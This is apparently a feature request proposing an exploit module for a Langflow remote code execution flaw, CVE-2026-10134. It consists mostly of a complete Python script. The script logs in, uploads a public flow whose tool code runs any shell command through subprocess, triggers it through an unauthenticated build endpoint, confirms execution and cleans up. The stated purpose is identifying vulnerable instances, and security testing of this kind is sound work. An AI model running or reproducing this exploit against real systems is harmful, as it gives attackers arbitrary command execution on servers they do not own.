ENH: Exploit module for Langflow Unauthenticated Remote Code Execution vulnerability CVE-2026-10134

[rmhowe425]

Summary

Requesting to add an exploit module in exploit/multi/http for an unauthenticated remote code execution vulnerability impacting Langflow, allowing an attacker to execute arbitrary python code on a victim machine.

Basic example

# Exploit Title:  Langflow Unauth RCE
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.0.0 - 1.9.3
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-10134

from json import loads, dumps
from argparse import ArgumentParser
from requests import get, post, delete

COMPONENT_STUB = (
    "from lfx.custom import Component\n"
    "class PythonCodeStructuredTool(Component):\n"
    "    def build_tool(self): pass\n"
)


def _poll_events(base_url: str, job_id: str):
    print(f"[+] Polling events for job: {job_id}")

    try:
        resp = get(f"{base_url}/api/v1/build_public_tmp/{job_id}/events",
                    stream=True, 
                    timeout=30
        )
    except Exception as e:
        print(f"[!] Polling error: {e}")
        return

    for raw in resp.iter_lines(decode_unicode=True):
        if not raw:
            continue
        try:
            ev = loads(raw)
        except Exception:
            continue

        event_type = ev.get("event", "")

        if event_type == "end":
            print("[+] REMOTE CODE EXECUTION CONFIRMED")
            return
        if event_type == "error":
            print(f"[!] Build error — exec(tool_code) may not have run: {ev.get('data', {})}")
            return


def authenticate(base_url: str, username: str, password: str) -> dict:
    print(f"[+] Authenticating as {username}.")

    try:
        resp = post(base_url + "/api/v1/login", data={"username": username, "password": password})
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Error authenticating with Langflow: {str(e)}")

    if resp.status_code != 200 or not resp_json.get("access_token"):
        raise RuntimeError(f"Error authenticating with Langflow: {resp_json}")

    token = resp_json['access_token']
    return {"Authorization": f"Bearer {token}"}


def create_flow(base_url: str, auth: dict, cmd: str, code: str) -> str:
    print("[+] Creating malicious flow.")

    cmd_literal = dumps(cmd)
    tool_code = "\n".join([
        f"import subprocess as _sp",
        f"_r = _sp.run({cmd_literal}, shell=True, capture_output=True, text=True)",
        f"_probe_output = (_r.stdout + _r.stderr).strip() or 'no output'",
        f"",
        f"def run() -> str:",
        f"    return _probe_output",
    ])

    template = {
        "_type": "Component",
        "code":          {"value": code,      "type": "code", "show": True, "required": True,  "name": "code"},
        "tool_code":     {"value": tool_code,  "type": "str",  "show": True, "required": True,  "name": "tool_code"},
        "tool_name":     {"value": "my_tool",  "type": "str",  "show": True, "required": True,  "name": "tool_name"},
        "tool_description": {"value": "A tool","type": "str",  "show": True, "required": True,  "name": "tool_description"},
        "tool_function": {"value": "run",      "type": "str",  "show": True, "required": True,  "name": "tool_function", "options": ["run"]},
        "return_direct": {"value": False,      "type": "bool", "show": True, "required": False, "name": "return_direct"},
        "_classes":      {"value": "[]",       "type": "str",  "show": True, "required": False, "name": "_classes"},
        "_functions":    {"value": "{}",       "type": "str",  "show": True, "required": False, "name": "_functions"},
    }

    node = {
        "id": "PythonCodeStructuredTool-abc12",
        "type": "genericNode",
        "position": {"x": 100, "y": 100},
        "data": {
            "id": "PythonCodeStructuredTool-abc12",
            "type": "PythonCodeStructuredTool",
            "node": {
                "description": "structuredtool dataclass code to tool",
                "display_name": "Python Code Structured",
                "base_classes": ["Tool"],
                "outputs": [{"name": "result_tool", "method": "build_tool", "display_name": "Tool",
                             "selected": "Tool", "types": ["Tool"], "value": "__UNDEFINED__"}],
                "template": template,
            },
        },
    }

    flow = {
        "name": "Example Flow",
        "access_type": "PUBLIC",
        "data": {"nodes": [node], "edges": []},
    }

    try:
        resp = post(url=base_url + "/api/v1/flows/", headers=auth, json=flow)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError("Error uploading malicious flow: {str(e)}")

    if resp.status_code not in (200, 201) or not resp_json.get("id"):
        raise RuntimeError(f"Error creating flow: {resp_json}")

    return resp_json["id"]


def cleanup(base_url: str, auth: dict, flow_id: str):
    try:
        r = delete(f"{base_url}/api/v1/flows/{flow_id}", headers=auth, timeout=15)
    except Exception as e:
        print("[!] Failed to delete malicious flow.")

    if r.status_code in (200, 204, 404):
        print(f"[+] Flow {flow_id} deleted.")
    else:
        print(f"[!] Cleanup warning: DELETE returned {r.status_code}")


def exploit(base_url: str, flow_id: str) -> str:
    print("[+] Attempting to trigger vulnerability with no authentication.")
    headers = {
        "Content-Type": "application/json",
        "Cookie": "client_id=randomcookie"
    }

    try:
        resp = post(url=f"{base_url}/api/v1/build_public_tmp/{flow_id}/flow", headers=headers, json={})
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError("Error triggering vulnerability: {str(e)}")

    if resp.status_code != 200 or not resp_json.get("job_id"):
        raise RuntimeError(f"Exploit failed: {resp_json}")

    return resp_json["job_id"]


def main():
    parser = ArgumentParser(description="Exploit for Langflow RCE CVE-2026-10134")
    parser.add_argument("-u",    "--url",      required=True,  help="Langflow base URL, e.g. http://192.168.1.30:7860")
    parser.add_argument("-name", "--username", required=True,  help="Admin username")
    parser.add_argument("-pwd",  "--password", required=True,  help="Admin password")
    parser.add_argument("-c",    "--command",  required=True,  help="Shell command to execute on the server")
    args = parser.parse_args()

    # Authenticate with Langflow.
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    # Upload malicious flow.
    flow_id = create_flow(base_url=args.url, auth=auth, cmd=args.command, code=COMPONENT_STUB)

    # Trigger vuln & cleanup.
    try:
        job_id = exploit(base_url=args.url, flow_id=flow_id)
        _poll_events(base_url=args.url, job_id=job_id)
    finally:
        cleanup(base_url=args.url, auth=auth, flow_id=flow_id)


main()

Motivation

The addition of this module provides security professionals with a reliable method to identify vulnerable Langflow instances that pose unnecessary risk to their network environment.